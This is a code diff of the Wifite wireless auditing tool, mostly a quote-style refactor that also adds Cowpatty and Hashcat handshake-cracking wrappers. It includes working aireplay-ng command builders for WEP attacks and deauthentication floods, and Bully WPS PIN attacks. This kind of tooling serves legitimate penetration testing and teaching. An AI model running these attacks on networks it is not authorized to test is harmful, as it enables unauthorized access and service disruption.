@@ -91,17 +156,17 @@ if __name__ == '__main__':
Configuration.initialize(False)
ivs_file = 'tests/files/wep-crackable.ivs'
print("Running aircrack on %s ..." % ivs_file)
print('Running aircrack on %s ...' % ivs_file)
aircrack = Aircrack(ivs_file)
while aircrack.is_running():
sleep(1)
assert aircrack.is_cracked(), "Aircrack should have cracked %s" % ivs_file
print("aircrack process completed.")
assert aircrack.is_cracked(), 'Aircrack should have cracked %s' % ivs_file
print('aircrack process completed.')
(hexkey, asciikey) = aircrack.get_key_hex_ascii()
print("aircrack found HEX key: (%s) and ASCII key: (%s)" % (hexkey, asciikey))
print('aircrack found HEX key: (%s) and ASCII key: (%s)' % (hexkey, asciikey))
assert hexkey == '75:6E:63:6C:65', 'hexkey was "%s", expected "75:6E:63:6C:65"' % hexkey
assert asciikey == 'uncle', 'asciikey was "%s", expected "uncle"' % asciikey

View File

@@ -36,7 +36,7 @@ class WEPAttackType(object):
self.name = name
self.value = value
return
raise Exception("Attack number %d not found" % var)
raise Exception('Attack number %d not found' % var)
elif type(var) is str:
for (name,value) in WEPAttackType.__dict__.items():
if type(value) is int:
@@ -44,12 +44,12 @@ class WEPAttackType(object):
self.name = name
self.value = value
return
raise Exception("Attack name %s not found" % var)
raise Exception('Attack name %s not found' % var)
elif type(var) == WEPAttackType:
self.name = var.name
self.value = var.value
else:
raise Exception("Attack type not supported")
raise Exception('Attack type not supported')
def __str__(self):
return self.name
@@ -65,13 +65,13 @@ class Aireplay(Thread, Dependency):
Starts aireplay process.
Args:
target - Instance of Target object, AP to attack.
attack_type - str, e.g. "fakeauth", "arpreplay", etc.
attack_type - str, e.g. 'fakeauth', 'arpreplay', etc.
client_mac - MAC address of an associated client.
'''
super(Aireplay, self).__init__() # Init the parent Thread
self.target = target
self.output_file = Configuration.temp("aireplay_%s.output" % attack_type)
self.output_file = Configuration.temp('aireplay_%s.output' % attack_type)
self.attack_type = WEPAttackType(attack_type).value
self.error = None
self.status = None
@@ -90,7 +90,7 @@ class Aireplay(Thread, Dependency):
def stop(self):
''' Stops aireplay process '''
if hasattr(self, "pid") and self.pid and self.pid.poll() is None:
if hasattr(self, 'pid') and self.pid and self.pid.poll() is None:
self.pid.interrupt()
def get_output(self):
@@ -104,7 +104,7 @@ class Aireplay(Thread, Dependency):
time.sleep(0.1)
if not os.path.exists(self.output_file): continue
# Read output file & clear output file
with open(self.output_file, "r+") as fid:
with open(self.output_file, 'r+') as fid:
lines = fid.read()
self.stdout += lines
fid.seek(0)
@@ -114,51 +114,51 @@ class Aireplay(Thread, Dependency):
from ..util.color import Color
Color.pl('\n{P} [?] aireplay output:\n %s{W}' % lines.strip().replace('\n', '\n '))
for line in lines.split("\n"):
line = line.replace("\r", "").strip()
if line == "": continue
if "Notice: got a deauth/disassoc packet" in line:
self.error = "Not associated (needs fakeauth)"
for line in lines.split('\n'):
line = line.replace('\r', '').strip()
if line == '': continue
if 'Notice: got a deauth/disassoc packet' in line:
self.error = 'Not associated (needs fakeauth)'
if self.attack_type == WEPAttackType.fakeauth:
# Look for fakeauth status. Potential Output lines:
# (START): 00:54:58 Sending Authentication Request (Open System)
if "Sending Authentication Request " in line:
if 'Sending Authentication Request ' in line:
self.status = None # Reset
# (????): Please specify an ESSID (-e).
elif "Please specify an ESSID" in line:
elif 'Please specify an ESSID' in line:
self.status = None
# (FAIL): 00:57:43 Got a deauthentication packet! (Waiting 3 seconds)
elif "Got a deauthentication packet!" in line:
elif 'Got a deauthentication packet!' in line:
self.status = False
# (PASS): 20:17:25 Association successful :-) (AID: 1)
# (PASS): 20:18:55 Reassociation successful :-) (AID: 1)
elif "association successful :-)" in line.lower():
elif 'association successful :-)' in line.lower():
self.status = True
elif self.attack_type == WEPAttackType.chopchop:
# Look for chopchop status. Potential output lines:
# (START) Read 178 packets...
read_re = re.compile(r"Read (\d+) packets")
read_re = re.compile(r'Read (\d+) packets')
matches = read_re.match(line)
if matches:
self.status = "Waiting for packet (read %s)..." % matches.group(1)
self.status = 'Waiting for packet (read %s)...' % matches.group(1)
# Sent 1912 packets, current guess: 70...
sent_re = re.compile(r"Sent (\d+) packets, current guess: (\w+)...")
sent_re = re.compile(r'Sent (\d+) packets, current guess: (\w+)...')
matches = sent_re.match(line)
if matches:
self.status = "Generating .xor (%s)... current guess: %s" % (self.xor_percent, matches.group(2))
self.status = 'Generating .xor (%s)... current guess: %s' % (self.xor_percent, matches.group(2))
# (DURING) Offset 52 (54% done) | xor = DE | pt = E0 | 152 frames written in 2782ms
offset_re = re.compile(r"Offset.*\(\s*(\d+%) done\)")
offset_re = re.compile(r'Offset.*\(\s*(\d+%) done\)')
matches = offset_re.match(line)
if matches:
self.xor_percent = matches.group(1)
self.status = "Generating .xor (%s)..." % self.xor_percent
self.status = 'Generating .xor (%s)...' % self.xor_percent
# (DONE) Saving keystream in replay_dec-0516-202246.xor
saving_re = re.compile(r"Saving keystream in (.*\.xor)")
saving_re = re.compile(r'Saving keystream in (.*\.xor)')
matches = saving_re.match(line)
if matches:
self.status = matches.group(1)
@@ -171,17 +171,17 @@ class Aireplay(Thread, Dependency):
# Parse fragment output, update self.status
# (START) Read 178 packets...
read_re = re.compile(r"Read (\d+) packets")
read_re = re.compile(r'Read (\d+) packets')
matches = read_re.match(line)
if matches:
self.status = "Waiting for packet (read %s)..." % matches.group(1)
self.status = 'Waiting for packet (read %s)...' % matches.group(1)
# 01:08:15 Waiting for a data packet...
if 'Waiting for a data packet' in line:
self.status = 'waiting for packet'
# Read 207 packets...
trying_re = re.compile(r"Trying to get (\d+) bytes of a keystream")
trying_re = re.compile(r'Trying to get (\d+) bytes of a keystream')
matches = trying_re.match(line)
if matches:
self.status = 'trying to get %sb of a keystream' % matches.group(1)
@@ -195,7 +195,7 @@ class Aireplay(Thread, Dependency):
self.status = 'sending another packet'
# XX:XX:XX Trying to get 1500 bytes of a keystream
trying_re = re.compile(r"Trying to get (\d+) bytes of a keystream")
trying_re = re.compile(r'Trying to get (\d+) bytes of a keystream')
matches = trying_re.match(line)
if matches:
self.status = 'trying to get %sb of a keystream' % matches.group(1)
@@ -209,7 +209,7 @@ class Aireplay(Thread, Dependency):
self.status = 'relayed packet was our'
# XX:XX:XX Saving keystream in fragment-0124-161129.xor
saving_re = re.compile(r"Saving keystream in (.*\.xor)")
saving_re = re.compile(r'Saving keystream in (.*\.xor)')
matches = saving_re.match(line)
if matches:
self.status = 'saving keystream to %s' % matches.group(1)
@@ -220,14 +220,14 @@ class Aireplay(Thread, Dependency):
# Parse Packets Sent & PacketsPerSecond. Possible output lines:
# Read 55 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...(0 pps)
# Read 4467 packets (got 1425 ARP requests and 1417 ACKs), sent 1553 packets...(100 pps)
read_re = re.compile(r"Read (\d+) packets \(got (\d+) ARP requests and (\d+) ACKs\), sent (\d+) packets...\((\d+) pps\)")
read_re = re.compile(r'Read (\d+) packets \(got (\d+) ARP requests and (\d+) ACKs\), sent (\d+) packets...\((\d+) pps\)')
matches = read_re.match(line)
if matches:
pps = matches.group(5)
if pps == "0":
self.status = "Waiting for packet..."
if pps == '0':
self.status = 'Waiting for packet...'
else:
self.status = "Replaying @ %s/sec" % pps
self.status = 'Replaying @ %s/sec' % pps
pass
def __del__(self):
@@ -248,10 +248,10 @@ class Aireplay(Thread, Dependency):
# Interface is required at this point
Configuration.initialize()
if Configuration.interface is None:
raise Exception("Wireless interface must be defined (-i)")
raise Exception('Wireless interface must be defined (-i)')
cmd = ["aireplay-ng"]
cmd.append("--ignore-negative-one")
cmd = ['aireplay-ng']
cmd.append('--ignore-negative-one')
if client_mac is None and len(target.clients) > 0:
# Client MAC wasn't specified, but there's an associated client. Use that.
@@ -263,87 +263,87 @@ class Aireplay(Thread, Dependency):
if attack_type == WEPAttackType.fakeauth:
cmd.extend([
"--fakeauth", "30", # Fake auth every 30 seconds
"-Q", # Send re-association packets
"-a", target.bssid
'--fakeauth', '30', # Fake auth every 30 seconds
'-Q', # Send re-association packets
'-a', target.bssid
])
if target.essid_known:
cmd.extend(["-e", target.essid])
cmd.extend(['-e', target.essid])
elif attack_type == WEPAttackType.replay:
cmd.extend([
"--arpreplay",
"-b", target.bssid,
"-x", str(Configuration.wep_pps)
'--arpreplay',
'-b', target.bssid,
'-x', str(Configuration.wep_pps)
])
if client_mac:
cmd.extend(["-h", client_mac])
cmd.extend(['-h', client_mac])
elif attack_type == WEPAttackType.chopchop:
cmd.extend([
"--chopchop",
"-b", target.bssid,
"-x", str(Configuration.wep_pps),
#"-m", "60", # Minimum packet length (bytes)
#"-n", "82", # Maximum packet length
"-F" # Automatically choose first packet
'--chopchop',
'-b', target.bssid,
'-x', str(Configuration.wep_pps),
#'-m', '60', # Minimum packet length (bytes)
#'-n', '82', # Maximum packet length
'-F' # Automatically choose first packet
])
if client_mac:
cmd.extend(["-h", client_mac])
cmd.extend(['-h', client_mac])
elif attack_type == WEPAttackType.fragment:
cmd.extend([
"--fragment",
"-b", target.bssid,
"-x", str(Configuration.wep_pps),
"-m", "100", # Minimum packet length (bytes)
"-F" # Automatically choose first packet
'--fragment',
'-b', target.bssid,
'-x', str(Configuration.wep_pps),
'-m', '100', # Minimum packet length (bytes)
'-F' # Automatically choose first packet
])
if client_mac:
cmd.extend(["-h", client_mac])
cmd.extend(['-h', client_mac])
elif attack_type == WEPAttackType.caffelatte:
if len(target.clients) == 0:
# Unable to carry out caffe-latte attack
raise Exception("Client is required for caffe-latte attack")
raise Exception('Client is required for caffe-latte attack')
cmd.extend([
"--caffe-latte",
"-b", target.bssid,
"-h", target.clients[0].station
'--caffe-latte',
'-b', target.bssid,
'-h', target.clients[0].station
])
elif attack_type == WEPAttackType.p0841:
cmd.extend([
"--arpreplay",
"-b", target.bssid,
"-c", "ff:ff:ff:ff:ff:ff",
"-x", str(Configuration.wep_pps),
"-F", # Automatically choose first packet
"-p", "0841"
'--arpreplay',
'-b', target.bssid,
'-c', 'ff:ff:ff:ff:ff:ff',
'-x', str(Configuration.wep_pps),
'-F', # Automatically choose first packet
'-p', '0841'
])
if client_mac:
cmd.extend(["-h", client_mac])
cmd.extend(['-h', client_mac])
elif attack_type == WEPAttackType.hirte:
if client_mac is None:
# Unable to carry out hirte attack
raise Exception("Client is required for hirte attack")
raise Exception('Client is required for hirte attack')
cmd.extend([
"--cfrag",
"-h", client_mac
'--cfrag',
'-h', client_mac
])
elif attack_type == WEPAttackType.forgedreplay:
if client_mac is None or replay_file is None:
raise Exception("Client_mac and Replay_File are required for arp replay")
raise Exception('Client_mac and Replay_File are required for arp replay')
cmd.extend([
"--arpreplay",
"-b", target.bssid,
"-h", client_mac,
"-r", replay_file,
"-F", # Automatically choose first packet
"-x", str(Configuration.wep_pps)
'--arpreplay',
'-b', target.bssid,
'-h', client_mac,
'-r', replay_file,
'-F', # Automatically choose first packet
'-x', str(Configuration.wep_pps)
])
else:
raise Exception("Unexpected attack type: %s" % attack_type)
raise Exception('Unexpected attack type: %s' % attack_type)
cmd.append(Configuration.interface)
return cmd
@@ -388,18 +388,18 @@ class Aireplay(Thread, Dependency):
def deauth(target_bssid, essid=None, client_mac=None, num_deauths=None, timeout=2):
num_deauths = num_deauths or Configuration.num_deauths
deauth_cmd = [
"aireplay-ng",
"-0", # Deauthentication
'aireplay-ng',
'-0', # Deauthentication
str(num_deauths),
"--ignore-negative-one",
"-a", target_bssid, # Target AP
"-D" # Skip AP detection
'--ignore-negative-one',
'-a', target_bssid, # Target AP
'-D' # Skip AP detection
]
if client_mac is not None:
# Station-specific deauth
deauth_cmd.extend(["-c", client_mac])
deauth_cmd.extend(['-c', client_mac])
if essid:
deauth_cmd.extend(["-e", essid])
deauth_cmd.extend(['-e', essid])
deauth_cmd.append(Configuration.interface)
proc = Process(deauth_cmd)
while proc.poll() is None:
@@ -450,23 +450,3 @@ if __name__ == '__main__':
t = WEPAttackType(t)
print(t.name, type(t.name), t.value)
from ..model.target import Target
fields = 'A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 6, 54e, WEP, WEP, , -58, 2, 0, 0. 0. 0. 0, 9, Test Router Please Ignore, '.split(',')
t = Target(fields)
'''
aireplay = Aireplay(t, 'replay')
while aireplay.is_running():
from time import sleep
sleep(0.1)
stdout, stderr = aireplay.get_output()
print("STDOUT>", stdout)
print("STDERR>", stderr)
'''
'''
forge = Aireplay.forge_packet('/tmp/replay_dec-0605-060243.xor', \
'A4:2B:8C:16:6B:3A', \
'00:C0:CA:4E:CA:E0')
print(forge)
'''

View File

@@ -75,7 +75,7 @@ class Airmon(Dependency):
''' Prints menu '''
print(AirmonIface.menu_header())
for idx, iface in enumerate(self.interfaces, start=1):
Color.pl(" {G}%d{W}. %s" % (idx, iface))
Color.pl(' {G}%d{W}. %s' % (idx, iface))
def get(self, index):
''' Gets interface at index (starts at 1) '''
@@ -166,10 +166,10 @@ class Airmon(Dependency):
iface_name = iface
driver = None
# Remember this as the "base" interface.
# Remember this as the 'base' interface.
Airmon.base_interface = iface_name
Color.p("{+} enabling {G}monitor mode{W} on {C}%s{W}... " % iface_name)
Color.p('{+} enabling {G}monitor mode{W} on {C}%s{W}... ' % iface_name)
airmon_output = Process(['airmon-ng', 'start', iface_name]).stdout()
@@ -180,22 +180,22 @@ class Airmon(Dependency):
enabled_iface = Airmon.start_bad_driver(iface_name)
if enabled_iface is None:
Color.pl("{R}failed{W}")
Color.pl('{R}failed{W}')
monitor_interfaces = Iwconfig.get_interfaces(mode='Monitor')
# Assert that there is an interface in monitor mode
if len(monitor_interfaces) == 0:
Color.pl("{R}failed{W}")
raise Exception("Cannot find any interfaces in Mode:Monitor")
Color.pl('{R}failed{W}')
raise Exception('Cannot find any interfaces in Mode:Monitor')
# Assert that the interface enabled by airmon-ng is in monitor mode
if enabled_iface not in monitor_interfaces:
Color.pl("{R}failed{W}")
raise Exception("Cannot find %s with Mode:Monitor" % enabled_iface)
Color.pl('{R}failed{W}')
raise Exception('Cannot find %s with Mode:Monitor' % enabled_iface)
# No errors found; the device 'enabled_iface' was put into Mode:Monitor.
Color.pl("{G}enabled {C}%s{W}" % enabled_iface)
Color.pl('{G}enabled {C}%s{W}' % enabled_iface)
return enabled_iface
@@ -216,7 +216,7 @@ class Airmon(Dependency):
@staticmethod
def stop(iface):
Color.p("{!} {R}disabling {O}monitor mode{O} on {R}%s{O}... " % iface)
Color.p('{!} {R}disabling {O}monitor mode{O} on {R}%s{O}... ' % iface)
airmon_output = Process(['airmon-ng', 'stop', iface]).stdout()
@@ -307,7 +307,7 @@ class Airmon(Dependency):
choice = 1
else:
# Multiple interfaces found
question = Color.s("{+} select interface ({G}1-%d{W}): " % (count))
question = Color.s('{+} select interface ({G}1-%d{W}): ' % (count))
choice = raw_input(question)
iface = a.get(choice)
@@ -368,26 +368,26 @@ class Airmon(Dependency):
@staticmethod
def put_interface_up(iface):
Color.p("{!} {O}putting interface {R}%s up{O}..." % (iface))
Color.p('{!} {O}putting interface {R}%s up{O}...' % (iface))
Ifconfig.up(iface)
Color.pl(" {G}done{W}")
Color.pl(' {G}done{W}')
@staticmethod
def start_network_manager():
Color.p("{!} {O}restarting {R}NetworkManager{O}...")
Color.p('{!} {O}restarting {R}NetworkManager{O}...')
if Process.exists('service'):
cmd = 'service network-manager start'
proc = Process(cmd)
(out, err) = proc.get_output()
if proc.poll() != 0:
Color.pl(" {R}Error executing {O}%s{W}" % cmd)
if out is not None and out.strip() != "":
Color.pl("{!} {O}STDOUT> %s{W}" % out)
if err is not None and err.strip() != "":
Color.pl("{!} {O}STDERR> %s{W}" % err)
Color.pl(' {R}Error executing {O}%s{W}' % cmd)
if out is not None and out.strip() != '':
Color.pl('{!} {O}STDOUT> %s{W}' % out)
if err is not None and err.strip() != '':
Color.pl('{!} {O}STDERR> %s{W}' % err)
else:
Color.pl(" {G}done{W} ({C}%s{W})" % cmd)
Color.pl(' {G}done{W} ({C}%s{W})' % cmd)
return
if Process.exists('systemctl'):
@@ -395,20 +395,20 @@ class Airmon(Dependency):
proc = Process(cmd)
(out, err) = proc.get_output()
if proc.poll() != 0:
Color.pl(" {R}Error executing {O}%s{W}" % cmd)
if out is not None and out.strip() != "":
Color.pl("{!} {O}STDOUT> %s{W}" % out)
if err is not None and err.strip() != "":
Color.pl("{!} {O}STDERR> %s{W}" % err)
Color.pl(' {R}Error executing {O}%s{W}' % cmd)
if out is not None and out.strip() != '':
Color.pl('{!} {O}STDOUT> %s{W}' % out)
if err is not None and err.strip() != '':
Color.pl('{!} {O}STDERR> %s{W}' % err)
else:
Color.pl(" {G}done{W} ({C}%s{W})" % cmd)
Color.pl(' {G}done{W} ({C}%s{W})' % cmd)
return
else:
Color.pl(" {R}can't restart NetworkManager: {O}systemctl{R} or {O}service{R} not found{W}")
Color.pl(' {R}cannot restart NetworkManager: {O}systemctl{R} or {O}service{R} not found{W}')
if __name__ == '__main__':
Airmon.terminate_conflicting_processes()
iface = Airmon.ask()
(disabled_iface, enabled_iface) = Airmon.stop(iface)
print("Disabled:", disabled_iface)
print("Enabled:", enabled_iface)
print('Disabled:', disabled_iface)
print('Enabled:', enabled_iface)

View File

@@ -27,7 +27,7 @@ class Airodump(Dependency):
if interface is None:
interface = Configuration.interface
if interface is None:
raise Exception("Wireless interface must be defined (-i)")
raise Exception('Wireless interface must be defined (-i)')
self.interface = interface
self.targets = []
@@ -206,22 +206,22 @@ class Airodump(Dependency):
hit_clients = False
for row in csv_reader:
# Each "row" is a list of fields for a target/client
# Each 'row' is a list of fields for a target/client
if len(row) == 0: continue
if row[0].strip() == 'BSSID':
# This is the "header" for the list of Targets
# This is the 'header' for the list of Targets
hit_clients = False
continue
elif row[0].strip() == 'Station MAC':
# This is the "header" for the list of Clients
# This is the 'header' for the list of Clients
hit_clients = True
continue
if hit_clients:
# The current row corresponds to a "Client" (computer)
# The current row corresponds to a 'Client' (computer)
try:
client = Client(row)
except (IndexError, ValueError) as e:
@@ -239,7 +239,7 @@ class Airodump(Dependency):
break
else:
# The current row corresponds to a "Target" (router)
# The current row corresponds to a 'Target' (router)
try:
target = Target(row)
targets.append(target)

View File

@@ -23,7 +23,7 @@ class Bully(Attack, Dependency):
self.total_timeouts = 0
self.total_failures = 0
self.locked = False
self.state = "{O}Waiting for beacon{W}"
self.state = '{O}Waiting for beacon{W}'
self.start_time = time.time()
self.cracked_pin = self.cracked_key = self.cracked_bssid = self.cracked_essid = None
@@ -35,17 +35,17 @@ class Bully(Attack, Dependency):
if Process.exists('stdbuf'):
self.cmd.extend([
"stdbuf", "-o0" # No buffer. See https://stackoverflow.com/a/40453613/7510292
'stdbuf', '-o0' # No buffer. See https://stackoverflow.com/a/40453613/7510292
])
self.cmd.extend([
"bully",
"--bssid", target.bssid,
"--channel", target.channel,
"--detectlock", # Detect WPS lockouts unreported by AP
"--force",
"-v", "4",
"--pixiewps",
'bully',
'--bssid', target.bssid,
'--channel', target.channel,
'--detectlock', # Detect WPS lockouts unreported by AP
'--force',
'-v', '4',
'--pixiewps',
Configuration.interface
])
@@ -58,7 +58,7 @@ class Bully(Attack, Dependency):
skip_wps=True,
output_file_prefix='wps_pin') as airodump:
# Wait for target
self.pattack("Waiting for target to appear...")
self.pattack('Waiting for target to appear...')
self.target = self.wait_for_target(airodump)
# Start bully
@@ -111,7 +111,7 @@ class Bully(Attack, Dependency):
raise e
if self.crack_result is None:
self.pattack("{R}Failed{W}", newline=True)
self.pattack('{R}Failed{W}', newline=True)
def pattack(self, message, newline=False):
@@ -119,12 +119,12 @@ class Bully(Attack, Dependency):
time_left = Configuration.wps_pixie_timeout - self.running_time()
Color.clear_entire_line()
Color.pattack("WPS",
Color.pattack('WPS',
self.target,
'Pixie-Dust',
'{W}[{C}%s{W}] %s' % (Timer.secs_to_str(time_left), message))
if newline:
Color.pl("")
Color.pl('')
def running_time(self):
@@ -136,13 +136,13 @@ class Bully(Attack, Dependency):
meta_statuses = []
if self.total_timeouts > 0:
meta_statuses.append("{O}Timeouts:%d{W}" % self.total_timeouts)
meta_statuses.append('{O}Timeouts:%d{W}' % self.total_timeouts)
if self.total_failures > 0:
meta_statuses.append("{O}WPSFail:%d{W}" % self.total_failures)
meta_statuses.append('{O}WPSFail:%d{W}' % self.total_failures)
if self.locked:
meta_statuses.append("{R}Locked{W}")
meta_statuses.append('{R}Locked{W}')
if len(meta_statuses) > 0:
main_status += ' (%s)' % ', '.join(meta_statuses)
@@ -151,9 +151,9 @@ class Bully(Attack, Dependency):
def parse_line_thread(self):
for line in iter(self.bully_proc.pid.stdout.readline, b""):
if line == "": continue
line = line.replace("\r", "").replace("\n", "").strip()
for line in iter(self.bully_proc.pid.stdout.readline, b''):
if line == '': continue
line = line.replace('\r', '').replace('\n', '').strip()
if Configuration.verbose > 1:
Color.pe('\n{P} [bully:stdout] %s' % line)
@@ -189,9 +189,9 @@ class Bully(Attack, Dependency):
if self.cracked_pin is not None:
# Mention the PIN & that we're not done yet.
self.pattack("{G}Cracked PIN: {C}%s{W}" % self.cracked_pin, newline=True)
self.pattack('{G}Cracked PIN: {C}%s{W}' % self.cracked_pin, newline=True)
self.state = "{G}Finding PSK...{C}"
self.state = '{G}Finding PSK...{C}'
time.sleep(2)
###########################
@@ -201,13 +201,13 @@ class Bully(Attack, Dependency):
self.cracked_key = key_re.group(1)
if not self.crack_result and self.cracked_pin and self.cracked_key:
self.pattack("{G}Cracked PSK: {C}%s{W}" % self.cracked_key, newline=True)
self.pattack('{G}Cracked PSK: {C}%s{W}' % self.cracked_key, newline=True)
self.crack_result = CrackResultWPS(
self.target.bssid,
self.target.essid,
self.cracked_pin,
self.cracked_key)
Color.pl("")
Color.pl('')
self.crack_result.dump()
return self.crack_result
@@ -220,14 +220,14 @@ class Bully(Attack, Dependency):
got_beacon = re.search(r".*Got beacon for '(.*)' \((.*)\)", line)
if got_beacon:
# group(1)=ESSID, group(2)=BSSID
state = "Got beacon"
state = 'Got beacon'
# [+] Last State = 'NoAssoc' Next pin '48855501'
last_state = re.search(r".*Last State = '(.*)'\s*Next pin '(.*)'", line)
if last_state:
# group(1)=result, group(2)=PIN
pin = last_state.group(2)
state = "Trying PIN {C}%s{W} (%s)" % (pin, last_state.group(1))
state = 'Trying PIN {C}%s{W} (%s)' % (pin, last_state.group(1))
# [+] Tx( Auth ) = 'Timeout' Next pin '80241263'
mx_result_pin = re.search(r".*[RT]x\(\s*(.*)\s*\) = '(.*)'\s*Next pin '(.*)'", line)
@@ -238,42 +238,42 @@ class Bully(Attack, Dependency):
result = mx_result_pin.group(2) # NoAssoc, WPSFail, Pin1Bad, Pin2Bad
pin = mx_result_pin.group(3)
if result == "Timeout":
if result == 'Timeout':
self.total_timeouts += 1
result = "{O}%s{W}" % result
elif result == "WPSFail":
result = '{O}%s{W}' % result
elif result == 'WPSFail':
self.total_failures += 1
result = "{O}%s{W}" % result
elif result == "NoAssoc":
result = "{O}%s{W}" % result
result = '{O}%s{W}' % result
elif result == 'NoAssoc':
result = '{O}%s{W}' % result
else:
result = "{R}%s{W}" % result
result = '{R}%s{W}' % result
result = "{P}%s{W}:%s" % (m_state.strip(), result.strip())
state = "Trying PIN {C}%s{W} (%s)" % (pin, result)
result = '{P}%s{W}:%s' % (m_state.strip(), result.strip())
state = 'Trying PIN {C}%s{W} (%s)' % (pin, result)
# [!] WPS lockout reported, sleeping for 43 seconds ...
re_lockout = re.search(r".*WPS lockout reported, sleeping for (\d+) seconds", line)
if re_lockout:
self.locked = True
sleeping = re_lockout.group(1)
state = "{R}WPS Lock-out: {O}Waiting %s seconds{W}" % sleeping
state = '{R}WPS Lock-out: {O}Waiting %s seconds{W}' % sleeping
# [Pixie-Dust] WPS pin not found
re_pin_not_found = re.search(r".*\[Pixie-Dust\] WPS pin not found", line)
if re_pin_not_found:
state = "{R}Failed: {O}Bully says 'WPS pin not found'{W}"
state = '{R}Failed: {O}Bully says "WPS pin not found"{W}'
# [+] Running pixiewps with the information, wait ...
re_running_pixiewps = re.search(r".*Running pixiewps with the information", line)
if re_running_pixiewps:
state = "{G}Running pixiewps...{W}"
state = '{G}Running pixiewps...{W}'
return state
def stop(self):
if hasattr(self, "pid") and self.pid and self.pid.poll() is None:
if hasattr(self, 'pid') and self.pid and self.pid.poll() is None:
self.pid.interrupt()
@@ -283,7 +283,7 @@ class Bully(Attack, Dependency):
@staticmethod
def get_psk_from_pin(target, pin):
# Fetches PSK from a Target assuming "pin" is the correct PIN
# Fetches PSK from a Target assuming 'pin' is the correct PIN
'''
bully --channel 1 --bssid 34:21:09:01:92:7C --pin 01030365 --bruteforce wlan0mon
PIN : '01030365'
@@ -319,7 +319,7 @@ if __name__ == '__main__':
fields = '34:21:09:01:92:7C,2015-05-27 19:28:44,2015-05-27 19:28:46,1,54,WPA2,CCMP TKIP,PSK,-58,2,0,0.0.0.0,9,AirLink89300,'.split(',')
target = Target(fields)
psk = Bully.get_psk_from_pin(target, '01030365')
print("psk", psk)
print('psk', psk)
'''
stdout = " [*] Pin is '11867722', key is '9a6f7997'"

41
wifite/tools/cowpatty.py Normal file
View File

@@ -0,0 +1,41 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from .dependency import Dependency
from ..config import Configuration
from ..util.color import Color
from ..util.process import Process
from ..tools.hashcat import HcxPcapTool
import os
import re
class Cowpatty(Dependency):
''' Wrapper for Cowpatty program. '''
dependency_required = False
dependency_name = 'cowpatty'
dependency_url = 'https://tools.kali.org/wireless-attacks/cowpatty'
@staticmethod
def crack_handshake(handshake, show_command=False):
# Crack john file
command = [
'cowpatty',
'-f', Configuration.wordlist,
'-r', handshake.capfile,
'-s', handshake.essid
]
if show_command:
Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command))
process = Process(command)
stdout, stderr = process.get_output()
key = None
for line in stdout.split('\n'):
if 'The PSK is "' in line:
key = line.split('"', 1)[1][:-2]
break
return key

View File

@@ -9,7 +9,7 @@ class Dependency(object):
for attr_name in cls.required_attr_names:
if not attr_name in cls.__dict__:
raise NotImplementedError(
"Attribute '{}' has not been overridden in class '{}'" \
'Attribute "{}" has not been overridden in class "{}"' \
.format(attr_name, cls.__name__)
)
@@ -50,7 +50,7 @@ class Dependency(object):
missing_required = any([app.fails_dependency_check() for app in apps])
if missing_required:
Color.pl('{!} {R}required app(s) were not found, exiting.{W}')
Color.pl('{!} {O}At least 1 Required app is missing. Wifite needs Required apps to run{W}')
import sys
sys.exit(-1)
@@ -64,11 +64,11 @@ class Dependency(object):
return False
if cls.dependency_required:
Color.pp('{!} {R}error: required app {O}%s{R} was not found' % cls.dependency_name)
Color.pl(' {W}install @ {C}%s{W}' % cls.dependency_url)
Color.p('{!} {O}Error: Required app {R}%s{O} was not found' % cls.dependency_name)
Color.pl('. {W}install @ {C}%s{W}' % cls.dependency_url)
return True
else:
Color.p('{!} {O}warning: recommended app {R}%s{O} was not found' % cls.dependency_name)
Color.pl(' {W}install @ {C}%s{W}' % cls.dependency_url)
Color.p('{!} {O}Warning: Recommended app {R}%s{O} was not found' % cls.dependency_name)
Color.pl('. {W}install @ {C}%s{W}' % cls.dependency_url)
return False

View File

@@ -15,7 +15,48 @@ class Hashcat(Dependency):
dependency_url = 'https://hashcat.net/hashcat/'
@staticmethod
def crack_pmkid(pmkid_file):
def should_use_force():
command = ['hashcat', '-I']
stderr = Process(command).stderr()
return 'No devices found/left' in stderr
@staticmethod
def crack_handshake(handshake, show_command=False):
# Generate hccapx
hccapx_file = HcxPcapTool.generate_hccapx_file(
handshake, show_command=show_command)
key = None
# Crack hccapx
for additional_arg in [ [], ['--show']]:
command = [
'hashcat',
'--quiet',
'-m', '2500',
hccapx_file,
Configuration.wordlist
]
if Hashcat.should_use_force():
command.append('--force')
command.extend(additional_arg)
if show_command:
Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command))
process = Process(command)
stdout, stderr = process.get_output()
if ':' not in stdout:
continue
else:
key = stdout.split(':', 5)[-1].strip()
break
if os.path.exists(hccapx_file):
os.remove(hccapx_file)
return key
@staticmethod
def crack_pmkid(pmkid_file, verbose=False):
'''
Cracks a given pmkid_file using the PMKID/WPA2 attack (-m 16800)
Returns:
@@ -27,25 +68,23 @@ class Hashcat(Dependency):
for additional_arg in [ [], ['--show']]:
command = [
'hashcat',
'--force',
'--quiet', # Only output the password if found.
'-m', '16800', # WPA-PMKID-PBKDF2
'-a', '0', # TODO: Configure
'-w', '2', # TODO: Configure
'-a', '0', # Wordlist attack-mode
pmkid_file,
Configuration.wordlist
]
if Hashcat.should_use_force():
command.append('--force')
command.extend(additional_arg)
if verbose and additional_arg == []:
Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command))
# TODO: Check status of hashcat (%); it's impossible with --quiet
try:
hashcat_proc = Process(command)
hashcat_proc.wait()
stdout = hashcat_proc.stdout()
except KeyboardInterrupt: # In case user gets impatient
Color.pl('\n{!} {O}Interrupted hashcat cracking{W}')
stdout = ''
if ':' not in stdout:
# Failed
@@ -71,12 +110,12 @@ class HcxDumpTool(Dependency):
os.remove(pcapng_file)
command = [
"hcxdumptool",
"-i", Configuration.interface,
"--filterlist", filterlist,
"--filtermode", "2",
"-c", str(target.channel),
"-o", pcapng_file
'hcxdumptool',
'-i', Configuration.interface,
'--filterlist', filterlist,
'--filtermode', '2',
'-c', str(target.channel),
'-o', pcapng_file
]
self.proc = Process(command)
@@ -98,6 +137,52 @@ class HcxPcapTool(Dependency):
self.bssid = self.target.bssid.lower().replace(':', '')
self.pmkid_file = Configuration.temp('pmkid-%s.16800' % self.bssid)
@staticmethod
def generate_hccapx_file(handshake, show_command=False):
hccapx_file = Configuration.temp('generated.hccapx')
if os.path.exists(hccapx_file):
